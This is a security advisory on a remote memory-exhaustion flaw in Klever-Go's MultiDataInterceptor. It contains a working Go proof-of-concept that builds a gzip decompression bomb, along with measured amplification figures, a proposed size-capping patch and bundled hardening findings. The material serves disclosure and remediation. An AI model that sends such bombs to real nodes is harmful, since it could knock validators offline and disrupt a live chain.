Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload

The count-budget anti-flood check at line 111 runs after Decompress completes, so no anti-flood configuration can prevent the explosion. The only gate above Decompress is preProcessMessage's byte budget, which sees only the compressed payload size and is trivially satisfied by a sub-MB bomb.

Proof of Concept

The PoC is a self-contained Go test that exercises the real data/batch.Batch.Decompress function and the production factory.ProtoMarshalizer. No mocks. Both the attacker-side construction (marshal a Batch of millions of empty entries, gzip, wrap in an outer compressed Batch) and the receiver-side path (mrs.Unmarshal → received.Decompress(mrs)) are exactly what runs in production at the reviewed commit.

The headline test (TestC2_DecompressionBomb_ValidInner) constructs a ~48 KiB outer wire payload that decompresses to 25 million []byte entries, and samples runtime.HeapAlloc every 5 ms during Decompress to capture the peak (since the inflated buffer is freed once Decompress returns).

Test source

Place the file under playground/p2pflood/c2_decompression_bomb_test.go in a checkout of the reviewed commit, then run:

go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...

package p2pflood_test

import (
	"bytes"
	"compress/gzip"
	"runtime"
	"sync/atomic"
	"testing"
	"time"

	"github.com/klever-io/klever-go/data/batch"
	"github.com/klever-io/klever-go/tools/marshal/factory"
)

const inflatedSize = 256 << 20 // 256 MiB

// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.
// A real attacker produces this offline; the streaming form here keeps
// the test's own attacker-side allocation small.
func buildGzipOfZeros(t *testing.T, size int) []byte {
	t.Helper()
	var buf bytes.Buffer
	gz := gzip.NewWriter(&buf)
	chunk := make([]byte, 1<<20)
	for written := 0; written < size; {
		n := len(chunk)
		if size-written < n {
			n = size - written
		}
		if _, err := gz.Write(chunk[:n]); err != nil {
			t.Fatalf("gzip write: %v", err)
		}
		written += n
	}
	if err := gz.Close(); err != nil {
		t.Fatalf("gzip close: %v", err)
	}
	return buf.Bytes()
}

// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and
// returns (peak, baseline). In-flight sampling is required because
// Decompress's internal allocations may be reclaimed by GC before the
// function returns.
func peakHeapDuring(fn func()) (peak, baseline uint64) {
	runtime.GC()
	var ms runtime.MemStats
	runtime.ReadMemStats(&ms)
	baseline = ms.HeapAlloc

	var stop atomic.Bool
	peakPtr := new(atomic.Uint64)
	peakPtr.Store(baseline)
	done := make(chan struct{})
	go func() {
		ticker := time.NewTicker(5 * time.Millisecond)
		defer ticker.Stop()
		var s runtime.MemStats
		for !stop.Load() {
			runtime.ReadMemStats(&s)
			cur := s.HeapAlloc
			for {
				old := peakPtr.Load()
				if cur <= old || peakPtr.CompareAndSwap(old, cur) {
					break
				}
			}
			<-ticker.C
		}
		close(done)
	}()

	fn()

	stop.Store(true)
	<-done
	return peakPtr.Load(), baseline
}

// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.
// All-zeros inflated payload; inner Unmarshal-after-decompress fails,
// but the gzip output buffer is already allocated.
func TestC2_DecompressionBomb_RawZeros(t *testing.T) {
	mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
	if err != nil {
		t.Fatalf("marshalizer: %v", err)
	}

	bombStream := buildGzipOfZeros(t, inflatedSize)

	bomb := &batch.Batch{
		IsCompressed: true,
		Algo:         batch.CType_GZip,
		Stream:       bombStream,
		DataSize:     1, // a lie — Decompress ignores it
	}
	wire, err := mrs.Marshal(bomb)
	if err != nil {
		t.Fatalf("marshal: %v", err)
	}

	t.Logf("  wire payload (after Marshal): %d bytes (%.2f KiB)",
		len(wire), float64(len(wire))/1024.0)
	t.Logf("  advertised DataSize:          %d", bomb.DataSize)
	t.Logf("  actual decompressed size:     %d bytes (%.2f MiB)",
		inflatedSize, float64(inflatedSize)/(1<<20))

	bomb = nil
	bombStream = nil
	runtime.GC()

	received := &batch.Batch{}
	if err := mrs.Unmarshal(received, wire); err != nil {
		t.Fatalf("receiver outer unmarshal: %v", err)
	}
	if !received.IsCompressed {
		t.Fatalf("expected IsCompressed=true after outer unmarshal")
	}

	start := time.Now()
	var decompressErr error
	peak, baseline := peakHeapDuring(func() {
		decompressErr = received.Decompress(mrs)
	})
	elapsed := time.Since(start)

	allocated := peak - baseline
	amp := float64(allocated) / float64(len(wire))
	t.Logf("  Decompress error: %v (irrelevant — heap already allocated)", decompressErr)
	t.Logf("  peak heap during Decompress: +%d bytes (%.2f MiB)",
		allocated, float64(allocated)/(1<<20))
	t.Logf("  elapsed: %v", elapsed)
	t.Logf("  amplification: %.0fx (wire -> heap)", amp)

	if allocated < uint64(inflatedSize/2) {
		t.Fatalf("heap delta only %.2f MiB — vuln may already be patched",
			float64(allocated)/(1<<20))
	}
	if amp < 100 {
		t.Fatalf("amplification only %.1fx — expected >>100x", amp)
	}
}

// TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream
// decompresses to a valid marshaled Batch with N=25M empty entries.
// Decompress's internal Unmarshal succeeds and additionally allocates
// the [][]byte slice. All before any count-based anti-flood runs.
func TestC2_DecompressionBomb_ValidInner(t *testing.T) {
	mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
	if err != nil {
		t.Fatalf("marshalizer: %v", err)
	}

	const N = 25_000_000

	innerBatch := &batch.Batch{Data: make([][]byte, N)}
	innerWire, err := mrs.Marshal(innerBatch)
	if err != nil {
		t.Fatalf("inner marshal: %v", err)
	}
	innerBatch = nil
	runtime.GC()

	var compressed bytes.Buffer
	gz := gzip.NewWriter(&compressed)
	if _, err := gz.Write(innerWire); err != nil {
		t.Fatalf("gz write: %v", err)
	}
	if err := gz.Close(); err != nil {
		t.Fatalf("gz close: %v", err)
	}
	innerWireLen := len(innerWire)
	innerWire = nil
	runtime.GC()

	bomb := &batch.Batch{
		IsCompressed: true,
		Algo:         batch.CType_GZip,
		Stream:       compressed.Bytes(),
		DataSize:     1,
	}
	wire, err := mrs.Marshal(bomb)
	if err != nil {
		t.Fatalf("outer marshal: %v", err)
	}
	t.Logf("  inner wire (uncompressed):    %d bytes (%.2f MiB)",
		innerWireLen, float64(innerWireLen)/(1<<20))
	t.Logf("  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)",
		len(wire), float64(len(wire))/1024.0)
	t.Logf("  inner -> outer compression:   %.0fx",
		float64(innerWireLen)/float64(len(wire)))

	bomb = nil
	compressed.Reset()
	runtime.GC()

	received := &batch.Batch{}
	if err := mrs.Unmarshal(received, wire); err != nil {
		t.Fatalf("receiver outer unmarshal: %v", err)
	}

	start := time.Now()
	var decompressErr error
	peak, baseline := peakHeapDuring(func() {
		// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the
		// count-budget anti-flood at line 111.
		decompressErr = received.Decompress(mrs)
	})
	elapsed := time.Since(start)

	allocated := peak - baseline
	amp := float64(allocated) / float64(len(wire))
	t.Logf("  Decompress returned: %v", decompressErr)
	t.Logf("  Decompressed b.Data length: %d (matches N=%d? %v)",
		len(received.Data), N, len(received.Data) == N)
	t.Logf("  peak heap during Decompress: +%d bytes (%.2f MiB)",
		allocated, float64(allocated)/(1<<20))
	t.Logf("  elapsed: %v", elapsed)
	t.Logf("  amplification: %.0fx (wire -> heap)", amp)

	if decompressErr != nil {
		t.Fatalf("Decompress unexpectedly failed: %v", decompressErr)
	}
	if len(received.Data) != N {
		t.Fatalf("inner Unmarshal lost entries: got %d want %d",
			len(received.Data), N)
	}
	if allocated < 256<<20 {
		t.Fatalf("heap delta only %.2f MiB — expected >256 MiB",
			float64(allocated)/(1<<20))
	}
	runtime.KeepAlive(received)
}

Measured output

Apple-silicon dev machine, go 1.25, against commit 405d01b0abbf0d3e73b4a990bd7394a01f200dc2:

=== RUN   TestC2_DecompressionBomb_RawZeros
      wire payload (after Marshal): 260938 bytes (254.82 KiB)
      advertised DataSize:          1
      actual decompressed size:     268435456 bytes (256.00 MiB)
      Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated)
      peak heap during Decompress: +887994584 bytes (846.86 MiB)
      elapsed: 155.79ms
      amplification: 3403x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)

=== RUN   TestC2_DecompressionBomb_ValidInner
      inner wire (uncompressed):    50000000 bytes (47.68 MiB)
      outer wire (gzip-wrapped):    48642 bytes (47.50 KiB)
      inner -> outer compression:   1028x
      Decompress returned: <nil>
      Decompressed b.Data length: 25000000 (matches N=25000000? true)
      peak heap during Decompress: +2218262232 bytes (2115.50 MiB)
      elapsed: 582.92ms
      amplification: 45604x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)

Reproduction: any commit that includes data/batch/batch.go in its current decompressGzip/Decompress form. The PoC does not depend on libp2p, the live interceptor stack, or any deployed configuration — the bug is in Batch.Decompress itself; any caller that reaches it pays for the unbounded allocation.

The PoC sources (along with a companion test for the bundled slice-prealloc finding) live under playground/p2pflood/ on the maintainer's local workstation and have not been pushed to any branch. They will be converted into a regression-test suite alongside the patch in the private fork.

Impact

A single connected peer publishing on a topic served by MultiDataInterceptor (which on a public chain includes any anonymous gossip publisher) can cause the receiving node to allocate 2+ GiB of heap in under one second per packet.

With the default deployed configuration (peerMaxInput.totalSizePerInterval: 4194304 = 4 MiB/s per peer), an attacker can ship roughly 80 such bombs per second per connected peer before tripping the per-peer byte budget. The per-peer message count limit (baseMessagesPerInterval: 140 per fastReacting interval, 1000 before blacklisting) is high enough to permit the attack to run for several seconds before any blacklist activates. By that point the node process is already OOM-killed.

Realistic attack scenarios:

• A single attacker connected to one validator can OOM that validator in under a second (one bomb suffices on memory-constrained nodes).
• A small number of malicious peers spread across the validator fleet can OOM the entire fleet within a single block-production interval, affecting chain liveness.
• Eclipse-attack composition: the cost is paid before any peer reputation logic runs, so the attack works regardless of whether the receiver attributes the message to originator or relayer.

Affected Code

• data/batch/batch.go:35-53 — decompressGzip, unbounded io.ReadAll
• data/batch/batch.go:109-137 — Batch.Decompress, ignores DataSize, re-Unmarshals inflated bytes
• core/process/interceptors/multiDataInterceptor.go:95-102 — call site
• core/process/interceptors/multiDataInterceptor.go:84-94 — preceding Unmarshal step

Patches

A patch is in preparation on a private branch and will land in rc2, together with the fix for GHSA-74m6-4hjp-7226. The intended fix shape:

const maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic

func decompressGzip(data []byte, max int64) ([]byte, error) {
    r, err := gzip.NewReader(bytes.NewReader(data))
    if err != nil { return nil, err }
    defer r.Close()
    lr := io.LimitReader(r, max+1)
    out, err := io.ReadAll(lr)
    if err != nil { return nil, err }
    if int64(len(out)) > max {
        return nil, ErrDecompressionTooLarge
    }
    return out, nil
}

func (ba *Batch) Decompress(m marshal.Marshalizer) error {
    if !ba.IsCompressed { return common.ErrNotCompressed }
    if ba.DataSize > maxInflatedBatch {
        return ErrDecompressionTooLarge
    }
    result, err := decompressGzip(ba.Stream, maxInflatedBatch)
    if err != nil { return err }
    if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 {
        return ErrDecompressedSizeMismatch
    }
    if err := m.Unmarshal(ba, result); err != nil { return err }
    ba.Stream, ba.IsCompressed = nil, false
    return nil
}

The cap value should be selected per topic. A 64 MiB ceiling preserves backward compatibility for legitimate large batches while reducing the worst-case allocation by ≈30× relative to the measured PoC and ≈400× relative to the upper bound of an uncapped attack.

A regression test based on the PoC will accompany the patch.

Workarounds

None at the configuration level. The peerMaxInput.totalSizePerInterval budget could theoretically be lowered, but as the PoC measurements show, a single bomb is already lethal on memory-constrained nodes. Patch is required.

Bundled Hardening (no separate CVE)

The following two issues were identified in the same call path during the review. They are not independently exploitable under the default deployed defaultMaxMessagesPerSec: 35000 per-topic anti-flood limit and so do not warrant their own CVEs. They are remediated by the same patch as the headline vulnerability and are documented here for transparency.

Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770)

multiDataInterceptor.go:123 performs:

listInterceptedData := make([]process.InterceptedData, len(multiDataBuff))

len(multiDataBuff) is len(b.Data) after Unmarshal and Decompress, both of which are attacker-controlled. Under the default per-topic count budget this is bounded; a deployer who loosens that budget, or any future code path that bypasses it, would expose ≈16 bytes × attacker-chosen-N of allocation. The same patch caps len(b.Data) immediately after Unmarshal, again after Decompress, and before the make.

The unconditional component of this finding — that Decompress's internal Unmarshal populates b.Data with N []byte slice headers (24 B each) before any count-budget check runs — is captured by the headline finding's PoC.

Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693)

baseDataInterceptor.go:32 exempts messages from anti-flood enforcement when:

bytes.Equal(m.Signature(), m.From()) &&
bytes.Equal(m.From(), bdi.currentPeerID.Bytes()) &&
fromConnectedPeer == bdi.currentPeerID

The first equality is a sentinel byte comparison, not a cryptographic check. Exploitability depends on whether the upstream libp2p stack verifies envelope signatures before reaching preProcessMessage. The patch replaces the sentinel with a defense-in-depth check and ensures throttler accounting still runs on the self-message path.

Coordination with GHSA-74m6-4hjp-7226

The maintainer team is concurrently handling GHSA-74m6-4hjp-7226, which discloses an adjacent throttler-slot-leak finding in the same ProcessReceivedMessage function. The two CVEs are independently fixable per CNA Operational Rules, but operationally the patches must land in one release. rc2 will supersede rc1 and contain fixes for both advisories. Validators upgrade once.

Credits

Fernando Sobreira (maintainer, internal security review).

References

• Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2
• Related advisory: GHSA-74m6-4hjp-7226
• CWE-409: https://cwe.mitre.org/data/definitions/409.html
• CWE-770: https://cwe.mitre.org/data/definitions/770.html